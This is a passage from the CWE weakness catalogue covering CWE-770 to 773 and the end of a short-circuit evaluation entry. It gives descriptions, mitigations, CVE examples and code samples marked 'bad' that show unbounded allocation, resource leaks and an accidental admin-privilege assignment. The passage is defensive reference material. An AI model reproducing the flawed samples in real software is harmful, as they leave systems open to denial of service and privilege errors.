The following function attempts to take a size value from a user and allocate an array of that size (we ignore bounds checking for simplicity). The function tries to initialize each spot with the value of its index, that is, A[len-1] = len - 1; A[len-2] = len - 2; ... A[1] = 1; A[0] = 0; However, since the programmer uses the prefix decrement operator, when the conditional is evaluated with i == 1, the decrement will result in a 0 value for the first part of the predicate, causing the second portion to be bypassed via short-circuit evaluation. This means we cannot be sure of what value will be in A[0] when we return the array to the user.

Example Language: C *(bad)*

```
#define PRIV_ADMIN 0
#define PRIV_REGULAR 1
typedef struct{
    int privileges;
    int id;
} user_t;
user_t *Add_Regular_Users(int num_users){
    user_t* users = (user_t*)calloc(num_users, sizeof(user_t));
    int i = num_users;
    while( --i && (users[i].privileges = PRIV_REGULAR) ){
        users[i].id = i;
    }
    return users;
}
int main(){
    user_t* test;
    int i;
    test = Add_Regular_Users(25);
    for(i = 0; i < 25; i++) printf("user %d has privilege level %d\n", test[i].id, test[i].privileges);
}
```

When compiled and run, the above code will output a privilege level of 1, or PRIV_REGULAR for every user but the user with id 0 since the prefix increment operator used in the if statement will reach zero and short circuit before setting the 0th user's privilege level. Since we used calloc, this privilege will be set to 0, or PRIV_ADMIN.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	871	CERT C++ Secure Coding Section 03 - Expressions (EXP)	868	1914
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	1958

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Failure to protect stored data from modification
Software Fault Patterns	SFP1		Glitch in computation

CWE-770: Allocation of Resources Without Limits or Throttling

Weakness ID : 770 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software allocates a reusable resource or group of resources on behalf of an actor without imposing any restrictions on the size or number of resources that can be allocated, in violation of the intended security policy for that actor.

Extended Description

Code frequently has to work with limited resources, so programmers must be careful to ensure that resources are not consumed too quickly, or too easily. Without use of quotas, resource limits, or other protection mechanisms, it can be easy for an attacker to consume many resources by rapidly making many requests, or causing larger resources to be used than is needed. When too many resources are allocated, or if a single resource is too large, then it can prevent the code from working correctly, possibly leading to a denial of service.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	665	Improper Initialization	1293
ChildOf	B	400	Uncontrolled Resource Consumption	864
ParentOf	V	774	Allocation of File Descriptors or Handles Without Limits or Throttling	1438
ParentOf	V	789	Uncontrolled Memory Allocation	1474
CanFollow	B	20	Improper Input Validation	19

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf		400	Uncontrolled Resource Consumption	864

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	399	Resource Management Errors	1864
MemberOf	C	840	Business Logic Errors	1900

Applicable Platforms

Language : Language-Independent *(Prevalence = Often)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Resource Consumption (Other) *When allocating resources without limits, an attacker could prevent other systems, applications, or processes from accessing the same type of resource.*	

Detection Methods

Manual Static Analysis

Manual static analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. If denial-of-service is not considered a significant risk, or if there is strong emphasis on consequences such as code execution, then manual analysis may not focus on this weakness at all.

Fuzzing

While fuzzing is typically geared toward finding low-level implementation bugs, it can inadvertently find uncontrolled resource allocation problems. This can occur when the fuzzer generates a large number of test cases but does not restart the targeted software in between test cases. If an individual test case produces a crash, but it does not do so reliably, then an inability to limit resource allocation may be the cause. When the allocation is directly affected by numeric inputs, then fuzzing may produce indications of this weakness.

Effectiveness = Opportunistic

Automated Dynamic Analysis

Certain automated dynamic analysis techniques may be effective in producing side effects of uncontrolled resource allocation problems, especially with resources such as processes, memory, and connections. The technique may involve generating a large number of requests to the software within a short time frame. Manual analysis is likely required to interpret the results.

Automated Static Analysis

Specialized configuration or tuning may be required to train automated tools to recognize this weakness. Automated static analysis typically has limited utility in recognizing unlimited allocation problems, except for the missing release of program-independent system resources such as files, sockets, and processes, or unchecked arguments to memory. For system resources, automated static analysis may be able to detect circumstances in which resources

are not released after they have expired, or if too much of a resource is requested at once, as can occur with memory. Automated analysis of configuration files may be able to detect settings that do not specify a maximum value. Automated static analysis tools will not be appropriate for detecting exhaustion of custom resources, such as an intended security policy in which a bulletin board user is only allowed to make a limited number of posts per day.

Potential Mitigations

Phase: Requirements

Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.

Phase: Architecture and Design

Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.

Phase: Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Architecture and Design

Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution can be difficult to effectively institute -- and

even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.

Phase: Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Phase: Architecture and Design

Phase: Implementation

If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery. Ensure that all failures in resource allocation place the system into a safe posture.

Phase: Operation

Phase: Architecture and Design

Strategy = Resource Limitation

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

Demonstrative Examples

Example 1:

This code allocates a socket and forks each time it receives a new connection.

Example Language: C *(bad)*

```
sock=socket(AF_INET, SOCK_STREAM, 0);
while (1) {
    newsock=accept(sock, ...);
    printf("A connection has been accepted\n");
    pid = fork();
}
```

The program does not track how many connections have been made, and it does not limit the number of connections. Because forking is a relatively expensive operation, an attacker would be able to cause the system to run out of CPU, processes, or memory by making a large number of connections. Alternatively, an attacker could consume all available connections, preventing others from accessing the system remotely.

Example 2:

In the following example a server socket connection is used to accept a request to store data on the local file system using a specified filename. The method openSocketConnection establishes a server socket to accept requests from a client. When a client establishes a connection to this service the getNextMessage method is first used to retrieve from the socket the name of the file to store the data, the openFileToWrite method will validate the filename and open a file to write to on the local file system. The getNextMessage is then used within a while loop to continuously read data from the socket and output the data to the file until there is no longer any data from the socket.

Example Language: C *(bad)*

```
int writeDataFromSocketToFile(char *host, int port)
{
    char filename[FILENAME_SIZE];
    char buffer[BUFFER_SIZE];
    int socket = openSocketConnection(host, port);
    if (socket < 0) {
        printf("Unable to open socket connection");
        return(FAIL);
    }
    if (getNextMessage(socket, filename, FILENAME_SIZE) > 0) {
        if (openFileToWrite(filename) > 0) {
            while (getNextMessage(socket, buffer, BUFFER_SIZE) > 0){
                if (!(writeToFile(buffer) > 0))
                    break;
            }
        }
        closeFile();
    }
    closeSocket(socket);
}
```

This example creates a situation where data can be dumped to a file on the local file system without any limits on the size of the file. This could potentially exhaust file or disk resources and/or limit other clients' ability to access the service.

Example 3:

In the following example, the processMessage method receives a two dimensional character array containing the message to be processed. The two-dimensional character array contains the length of the message in the first character array and the message body in the second character array. The getMessageLength method retrieves the integer value of the length from the first character array. After validating that the message length is greater than zero, the body character array pointer points to the start of the second character array of the two-dimensional character array and memory is allocated for the new body character array.

Example Language: C *(bad)*

```
/* process message accepts a two-dimensional character array of the form [length][body] containing the message to be processed */
int processMessage(char **message)
{
    char *body;
    int length = getMessageLength(message[0]);
    if (length > 0) {
        body = &message[1][0];
        processMessageBody(body);
        return(SUCCESS);
    }
    else {
        printf("Unable to process message; invalid message length");
        return(FAIL);
    }
}
```

This example creates a situation where the length of the body character array can be very large and will consume excessive memory, exhausting system resources. This can be avoided by restricting the length of the second character array with a maximum length check

Also, consider changing the type from 'int' to 'unsigned int', so that you are always guaranteed that the number is positive. This might not be possible if the protocol specifically requires allowing negative values, or if you cannot control the return value from getMessageLength(), but it could

simplify the check to ensure the input is positive, and eliminate other errors such as signed-to-unsigned conversion errors (CWE-195) that may occur elsewhere in the code.

Example Language: C *(good)*

```
unsigned int length = getMessageLength(message[0]);
if ((length > 0) && (length < MAX_LENGTH)) {...}
```

Example 4:

In the following example, a server object creates a server socket and accepts client connections to the socket. For every client connection to the socket a separate thread object is generated using the ClientSocketThread class that handles request made by the client through the socket.

Example Language: Java *(bad)*

```
public void acceptConnections() {
    try {
        ServerSocket serverSocket = new ServerSocket(SERVER_PORT);
        int counter = 0;
        boolean hasConnections = true;
        while (hasConnections) {
            Socket client = serverSocket.accept();
            Thread t = new Thread(new ClientSocketThread(client));
            t.setName(client.getInetAddress().getHostName() + ":" + counter++);
            t.start();
        }
        serverSocket.close();
    } catch (IOException ex) {...}
}
```

In this example there is no limit to the number of client connections and client threads that are created. Allowing an unlimited number of client connections and threads could potentially overwhelm the system and system resources.

The server should limit the number of client connections and the client threads that are created. This can be easily done by creating a thread pool object that limits the number of threads that are generated.

Example Language: Java *(good)*

```
public static final int SERVER_PORT = 4444;
public static final int MAX_CONNECTIONS = 10;
...
public void acceptConnections() {
    try {
        ServerSocket serverSocket = new ServerSocket(SERVER_PORT);
        int counter = 0;
        boolean hasConnections = true;
        while (hasConnections) {
            hasConnections = checkForMoreConnections();
            Socket client = serverSocket.accept();
            Thread t = new Thread(new ClientSocketThread(client));
            t.setName(client.getInetAddress().getHostName() + ":" + counter++);
            ExecutorService pool = Executors.newFixedThreadPool(MAX_CONNECTIONS);
            pool.execute(t);
        }
        serverSocket.close();
    } catch (IOException ex) {...}
}
```

Example 5:

An unnamed web site allowed a user to purchase tickets for an event. A menu option allowed the user to purchase up to 10 tickets, but the back end did not restrict the actual number of tickets that could be purchased.

Example 6:

Here the problem is that every time a connection is made, more memory is allocated. So if one just opened up more and more connections, eventually the machine would run out of memory.

Example Language: C *(bad)*

```
bar connection() {
    foo = malloc(1024);
    return foo;
}
endConnection(bar foo) {
    free(foo);
}
int main() {
    while(1) {
        foo=connection();
    }
    endConnection(foo)
}
```

Observed Examples

Reference	Description
CVE-2009-4017	Language interpreter does not restrict the number of temporary files being created when handling a MIME request with a large number of parts.. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4017*
CVE-2009-2726	Driver does not use a maximum width when invoking sscanf style functions, causing stack consumption. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2726*
CVE-2009-2540	Large integer value for a length property in an object causes a large amount of memory allocation. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2540*
CVE-2009-2054	Product allows exhaustion of file descriptors when processing a large number of TCP packets. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2054*
CVE-2008-5180	Communication product allows memory consumption with a large number of SIP requests, which cause many sessions to be created. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5180*
CVE-2008-1700	Product allows attackers to cause a denial of service via a large number of directives, each of which opens a separate window. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1700*
CVE-2005-4650	CMS does not restrict the number of searches that can occur simultaneously, leading to resource exhaustion. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4650*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	802	2010 Top 25 - Risky Resource Management	800	1895
MemberOf	C	857	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)	844	1908

Nature	Type	ID	Name	V	Page
MemberOf	C	858	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 15 - Serialization (SER)	844	1909
MemberOf	C	861	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)	844	1910
MemberOf	C	867	2011 Top 25 - Weaknesses On the Cusp	900	1912
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	1917
MemberOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	1917
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	985	SFP Secondary Cluster: Unrestricted Consumption	888	1951
MemberOf	C	1147	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)	1133	1990
MemberOf	C	1148	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 14. Serialization (SER)	1133	1991
MemberOf	C	1152	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)	1133	1993

Notes

Relationship

This entry is different from uncontrolled resource consumption (CWE-400) in that there are other weaknesses that are related to inability to control resource consumption, such as holding on to a resource too long after use, or not correctly keeping track of active resources so that they can be managed and released when they are finished (CWE-771).

Theoretical

Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect one of the underlying weaknesses that enable these attacks (or consequences) to take place.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	FIO04-J		Close resources when they are no longer needed
The CERT Oracle Secure Coding Standard for Java (2011)	SER12-J		Avoid memory and resource leaks during serialization
The CERT Oracle Secure Coding Standard for Java (2011)	MSC05-J		Do not exhaust heap space

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
125	Flooding
130	Excessive Allocation
147	XML Ping of the Death
197	XML Entity Expansion
229	XML Attribute Blowup
230	XML Nested Payloads
231	XML Oversized Payloads
469	HTTP DoS

CAPEC-ID	Attack Pattern Name
482	TCP Flood
486	UDP Flood
487	ICMP Flood
488	HTTP Flood
489	SSL Flood
490	Amplification
491	XML Quadratic Expansion
493	SOAP Array Blowup
494	TCP Fragmentation
495	UDP Fragmentation
496	ICMP Fragmentation
528	XML Flood

References

[REF-386]Joao Antunes, Nuno Ferreira Neves and Paulo Verissimo. "Detection and Prediction of Resource-Exhaustion Vulnerabilities". Proceedings of the IEEE International Symposium on Software Reliability Engineering (ISSRE). 2008 November. < http://homepages.di.fc.ul.pt/~nuno/PAPERS/ISSRE08.pdf >.

[REF-387]D.J. Bernstein. "Resource exhaustion". < http://cr.yp.to/docs/resources.html >.

[REF-388]Pascal Meunier. "Resource exhaustion". Secure Programming Educational Material. 2004. < http://homes.cerias.purdue.edu/~pmeunier/secprog/sanitized/class1/6.resource%20exhaustion.ppt >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

[REF-672]Frank Kim. "Top 25 Series - Rank 22 - Allocation of Resources Without Limits or Throttling". 2010 March 3. SANS Software Security Institute. < http://blogs.sans.org/appsecstreetfighter/2010/03/23/top-25-series-rank-22-allocation-of-resources-without-limits-or-throttling/ >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-771: Missing Reference to Active Allocated Resource

Weakness ID : 771 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software does not properly maintain a reference to a resource that has been allocated, which prevents the resource from being reclaimed.

Extended Description

This does not necessarily apply in languages or frameworks that automatically perform garbage collection, since the removal of all references may act as a signal that the resource is ready to be reclaimed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		400	Uncontrolled Resource Consumption	864
ParentOf	V	773	Missing Reference to Active File Descriptor or Handle	1436

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	399	Resource Management Errors	1864

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Other) *An attacker that can influence the allocation of resources that are not properly maintained could deplete the available resource pool and prevent all other processes from accessing the same type of resource.*	

Potential Mitigations

Phase: Operation

Phase: Architecture and Design

Strategy = Resource Limitation

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)	1154	1998
MemberOf	C	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	1999

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	FIO42-C	CWE More Abstract	Close files when they are no longer needed
CERT C Secure Coding	MEM31-C	CWE More Abstract	Free dynamically allocated memory when no longer needed

CWE-772: Missing Release of Resource after Effective Lifetime

Weakness ID : 772 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software does not release a resource after its effective lifetime has ended, i.e., after the resource is no longer needed.

Extended Description

When a resource is not released after use, it can allow attackers to cause a denial of service by causing the allocation of resources without triggering their release. Frequently-affected resources include memory, CPU, disk space, power or battery, etc.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	404	Improper Resource Shutdown or Release	877
ParentOf	V	401	Missing Release of Memory after Effective Lifetime	872
ParentOf	V	775	Missing Release of File Descriptor or Handle after Effective Lifetime	1439
ParentOf	B	1091	Use of Object without Invoking Destructor Method	1691
CanFollow	B	911	Improper Update of Reference Count	1585

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	404	Improper Resource Shutdown or Release	877

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	399	Resource Management Errors	1864

Applicable Platforms

Technology : Mobile *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Other) *An attacker that can influence the allocation of resources that are not properly released could deplete the available resource pool and prevent all other processes from accessing the same type of resource.*	

Potential Mitigations

Phase: Requirements

Strategy = Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, languages such as Java, Ruby, and Lisp perform automatic garbage collection that releases memory for objects that have been deallocated.

Phase: Implementation

It is good practice to be responsible for freeing all resources you allocate and to be consistent with how and where you free resources in a function. If you allocate resources that you intend to free upon completion of the function, you must be sure to free the resources at all exit points for that function including error conditions.

Phase: Operation

Phase: Architecture and Design

Strategy = Resource Limitation

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

Demonstrative Examples

Example 1:

The following code attempts to process a file by reading it in line by line until the end has been reached.

Example Language: Java *(bad)*

```
private void processFile(string fName)
{
    BufferReader in = new BufferReader(new FileReader(fName));
    String line;
    while ((line = in.ReadLine()) != null)
    {
        processLine(line);
    }
}
```

The problem with the above code is that it never closes the file handle it opens. The Finalize() method for BufferReader eventually calls Close(), but there is no guarantee as to how long it will take before the Finalize() method is invoked. In fact, there is no guarantee that Finalize() will ever be invoked. In a busy environment, this can result in the VM using up all of its available file handles.

Example 2:

The following code attempts to open a new connection to a database, process the results returned by the database, and close the allocated SqlConnection object.

Example Language: C# *(bad)*

```
SqlConnection conn = new SqlConnection(connString);
SqlCommand cmd = new SqlCommand(queryString);
cmd.Connection = conn;
conn.Open();
SqlDataReader rdr = cmd.ExecuteReader();
HarvestResults(rdr);
```

```
conn.Connection.Close();
```

The problem with the above code is that if an exception occurs while executing the SQL or processing the results, the SqlConnection object is not closed. If this happens often enough, the database will run out of available cursors and not be able to execute any more SQL queries.

Example 3:

The following method never closes the file handle it opens. The Finalize() method for StreamReader eventually calls Close(), but there is no guarantee as to how long it will take before the Finalize() method is invoked. In fact, there is no guarantee that Finalize() will ever be invoked. In a busy environment, this can result in the VM using up all of its available file handles.

Example Language: Java *(bad)*

```
private void processFile(string fName) {
    StreamWriter sw = new StreamWriter(fName);
    string line;
    while ((line = sr.ReadLine()) != null){
        processLine(line);
    }
}
```

Example 4:

This code attempts to open a connection to a database and catches any exceptions that may occur.

Example Language: Java *(bad)*

```
try {
    Connection con = DriverManager.getConnection(some_connection_string);
}
catch ( Exception e ) {
    log( e );
}
```

If an exception occurs after establishing the database connection and before the same connection closes, the pool of database connections may become exhausted. If the number of available connections is exceeded, other users cannot access this resource, effectively denying access to the application.

Example 5:

Under normal conditions the following C# code executes a database query, processes the results returned by the database, and closes the allocated SqlConnection object. But if an exception occurs while executing the SQL or processing the results, the SqlConnection object is not closed. If this happens often enough, the database will run out of available cursors and not be able to execute any more SQL queries.

Example Language: C# *(bad)*

```
...
SqlConnection conn = new SqlConnection(connString);
SqlCommand cmd = new SqlCommand(queryString);
cmd.Connection = conn;
conn.Open();
SqlDataReader rdr = cmd.ExecuteReader();
HarvestResults(rdr);
conn.Connection.Close();
...
```

Example 6:

The following C function does not close the file handle it opens if an error occurs. If the process is long-lived, the process can run out of file handles.

Example Language: C *(bad)*

```
int decodeFile(char* fName) {
    char buf[BUF_SZ];
    FILE* f = fopen(fName, "r");
    if (!f) {
        printf("cannot open %s\n", fName);
        return DECODE_FAIL;
    }
    else {
        while (fgets(buf, BUF_SZ, f)) {
            if (!checkChecksum(buf)) {
                return DECODE_FAIL;
            }
            else {
                decodeBlock(buf);
            }
        }
    }
    fclose(f);
    return DECODE_SUCCESS;
}
```

Observed Examples

Reference	Description
CVE-2007-0897	Chain: anti-virus product encounters a malformed file but returns from a function without closing a file descriptor (CWE-775) leading to file descriptor consumption (CWE-400) and failed scans. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0897*
CVE-2001-0830	Sockets not properly closed when attacker repeatedly connects and disconnects from server. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0830*
CVE-1999-1127	Does not shut down named pipe connections if malformed data is sent. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1127*
CVE-2009-2858	Chain: memory leak (CWE-404) leads to resource exhaustion. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2858*
CVE-2009-2054	Product allows exhaustion of file descriptors when processing a large number of TCP packets. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2054*
CVE-2008-2122	Port scan triggers CPU consumption with processes that attempt to read data from closed sockets. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2122*
CVE-2007-4103	Product allows resource exhaustion via a large number of calls that do not complete a 3-way handshake. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4103*
CVE-2002-1372	Return values of file/socket operations not checked, allowing resultant consumption of file descriptors. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1372*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	808	2010 Top 25 - Weaknesses On the Cusp	800	1896

Nature	Type	ID	Name	V	Page
MemberOf	C	867	2011 Top 25 - Weaknesses On the Cusp	900	1912
MemberOf	C	882	CERT C++ Secure Coding Section 14 - Concurrency (CON)	868	1920
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	1129	CISQ Quality Measures - Reliability	1128	1979
MemberOf	C	1131	CISQ Quality Measures - Security	1128	1981
MemberOf	C	1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)	1154	1998
MemberOf	C	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	1999
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2057

Notes

Maintenance

"Resource exhaustion" (CWE-400) is currently treated as a weakness, although it is more like a category of weaknesses that all have the same type of consequence. While this entry treats CWE-400 as a parent in view 1000, the relationship is probably more appropriately described as a chain.

Theoretical

Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect one of the underlying weaknesses that enable these attacks (or consequences) to take place.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	FIO42-C	CWE More Abstract	Close files when they are no longer needed
CERT C Secure Coding	MEM31-C	CWE More Abstract	Free dynamically allocated memory when no longer needed
OMG ASCSM	ASCSM-CWE-772		
OMG ASCRM	ASCRM-CWE-772		

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
469	HTTP DoS

References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < http://www.omg.org/spec/ASCRM/1.0/ >.

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < http://www.omg.org/spec/ASCSM/1.0/ >.

CWE-773: Missing Reference to Active File Descriptor or Handle

Weakness ID : 773 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software does not properly maintain references to a file descriptor or handle, which prevents that file descriptor/handle from being reclaimed.

Extended Description

This can cause the software to consume all available file descriptors or handles, which can prevent other processes from performing critical file processing operations.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	771	Missing Reference to Active Allocated Resource	1430

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Other) *An attacker that can influence the allocation of resources that are not properly maintained could deplete the available resource pool and prevent all other processes from accessing the same type of resource.*	

Potential Mitigations

Phase: Operation

Phase: Architecture and Design

Strategy = Resource Limitation

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

MemberOf Relationships

